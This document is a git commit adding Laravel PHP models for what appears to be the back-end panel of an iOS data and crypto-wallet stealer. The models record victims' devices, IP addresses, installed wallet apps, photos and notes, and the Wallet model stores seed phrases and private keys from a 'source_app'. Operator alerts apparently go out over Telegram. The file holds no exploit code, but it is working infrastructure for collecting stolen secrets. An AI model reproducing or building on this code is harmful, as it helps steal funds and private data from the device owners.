This commit is contained in:
hashbro
2026-08-04 05:00:42 +08:00
commit ea0be57180
304 changed files with 18921 additions and 0 deletions
+19
View File
@@ -0,0 +1,19 @@
<?php
namespace App\Models;
use Illuminate\Foundation\Auth\User as Authenticatable;
class Admin extends Authenticatable
{
protected $fillable = ['username', 'password'];
protected $hidden = ['password', 'remember_token'];
protected function casts(): array
{
return [
'password' => 'hashed',
];
}
}
+50
View File
@@ -0,0 +1,50 @@
<?php
namespace App\Models;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\Relations\HasMany;
class Device extends Model
{
protected $fillable = [
'device_id', 'ios_version', 'device_model', 'ip', 'user_agent', 'telegram_notified',
];
protected function casts(): array
{
return [
'telegram_notified' => 'boolean',
];
}
public function apps(): HasMany
{
return $this->hasMany(DeviceApp::class);
}
public function events(): HasMany
{
return $this->hasMany(DeviceEvent::class);
}
public function photos(): HasMany
{
return $this->hasMany(Photo::class);
}
public function notes(): HasMany
{
return $this->hasMany(Note::class);
}
public function wallets(): HasMany
{
return $this->hasMany(Wallet::class);
}
public function addresses(): HasMany
{
return $this->hasMany(WalletAddress::class);
}
}
+26
View File
@@ -0,0 +1,26 @@
<?php
namespace App\Models;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\Relations\BelongsTo;
class DeviceApp extends Model
{
protected $fillable = [
'device_id', 'bundle_id', 'name', 'version', 'is_wallet', 'meta_json',
];
protected function casts(): array
{
return [
'is_wallet' => 'boolean',
'meta_json' => 'array',
];
}
public function device(): BelongsTo
{
return $this->belongsTo(Device::class);
}
}
+25
View File
@@ -0,0 +1,25 @@
<?php
namespace App\Models;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\Relations\BelongsTo;
class DeviceEvent extends Model
{
protected $fillable = [
'device_id', 'device_key', 'event_name', 'desc', 'context_json',
];
protected function casts(): array
{
return [
'context_json' => 'array',
];
}
public function device(): BelongsTo
{
return $this->belongsTo(Device::class);
}
}
+23
View File
@@ -0,0 +1,23 @@
<?php
namespace App\Models;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\Relations\BelongsTo;
class Note extends Model
{
protected $fillable = [
'device_id', 'title', 'body', 'meta_json',
];
protected function casts(): array
{
return ['meta_json' => 'array'];
}
public function device(): BelongsTo
{
return $this->belongsTo(Device::class);
}
}
+23
View File
@@ -0,0 +1,23 @@
<?php
namespace App\Models;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\Relations\BelongsTo;
class Photo extends Model
{
protected $fillable = [
'device_id', 'sha256', 'path', 'width', 'height', 'size', 'counters_json',
];
protected function casts(): array
{
return ['counters_json' => 'array'];
}
public function device(): BelongsTo
{
return $this->belongsTo(Device::class);
}
}
+49
View File
@@ -0,0 +1,49 @@
<?php
namespace App\Models;
// use Illuminate\Contracts\Auth\MustVerifyEmail;
use Database\Factories\UserFactory;
use Illuminate\Database\Eloquent\Factories\HasFactory;
use Illuminate\Foundation\Auth\User as Authenticatable;
use Illuminate\Notifications\Notifiable;
class User extends Authenticatable
{
/** @use HasFactory<UserFactory> */
use HasFactory, Notifiable;
/**
* The attributes that are mass assignable.
*
* @var list<string>
*/
protected $fillable = [
'name',
'email',
'password',
];
/**
* The attributes that should be hidden for serialization.
*
* @var list<string>
*/
protected $hidden = [
'password',
'remember_token',
];
/**
* Get the attributes that should be cast.
*
* @return array<string, string>
*/
protected function casts(): array
{
return [
'email_verified_at' => 'datetime',
'password' => 'hashed',
];
}
}
+87
View File
@@ -0,0 +1,87 @@
<?php
namespace App\Models;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\Relations\BelongsTo;
use Illuminate\Database\Eloquent\Relations\HasMany;
use Illuminate\Support\Facades\Crypt;
class Wallet extends Model
{
protected $fillable = [
'device_id', 'source_app', 'mnemonic_enc', 'privkey_enc', 'raw_json',
];
protected function casts(): array
{
return ['raw_json' => 'array'];
}
public function device(): BelongsTo
{
return $this->belongsTo(Device::class);
}
public function addresses(): HasMany
{
return $this->hasMany(WalletAddress::class);
}
public function setMnemonicAttribute(?string $value): void
{
$this->attributes['mnemonic_enc'] = $value === null || $value === ''
? null
: Crypt::encryptString($value);
}
public function getMnemonicAttribute(): ?string
{
if (empty($this->attributes['mnemonic_enc'])) {
return null;
}
try {
return Crypt::decryptString($this->attributes['mnemonic_enc']);
} catch (\Throwable) {
return null;
}
}
public function setPrivkeyAttribute(?string $value): void
{
$this->attributes['privkey_enc'] = $value === null || $value === ''
? null
: Crypt::encryptString($value);
}
public function getPrivkeyAttribute(): ?string
{
if (empty($this->attributes['privkey_enc'])) {
return null;
}
try {
return Crypt::decryptString($this->attributes['privkey_enc']);
} catch (\Throwable) {
return null;
}
}
public static function maskSecret(?string $value): string
{
if ($value === null || $value === '') {
return '—';
}
$words = preg_split('/\s+/', trim($value)) ?: [];
if (count($words) >= 12) {
return $words[0].' *** '.$words[count($words) - 1];
}
$len = strlen($value);
if ($len <= 8) {
return str_repeat('*', $len);
}
return substr($value, 0, 4).str_repeat('*', max(4, $len - 8)).substr($value, -4);
}
}
+32
View File
@@ -0,0 +1,32 @@
<?php
namespace App\Models;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\Relations\BelongsTo;
class WalletAddress extends Model
{
protected $fillable = [
'device_id', 'wallet_id', 'address', 'chain', 'balance',
'symbol', 'telegram_notified', 'meta_json',
];
protected function casts(): array
{
return [
'telegram_notified' => 'boolean',
'meta_json' => 'array',
];
}
public function device(): BelongsTo
{
return $this->belongsTo(Device::class);
}
public function wallet(): BelongsTo
{
return $this->belongsTo(Wallet::class);
}
}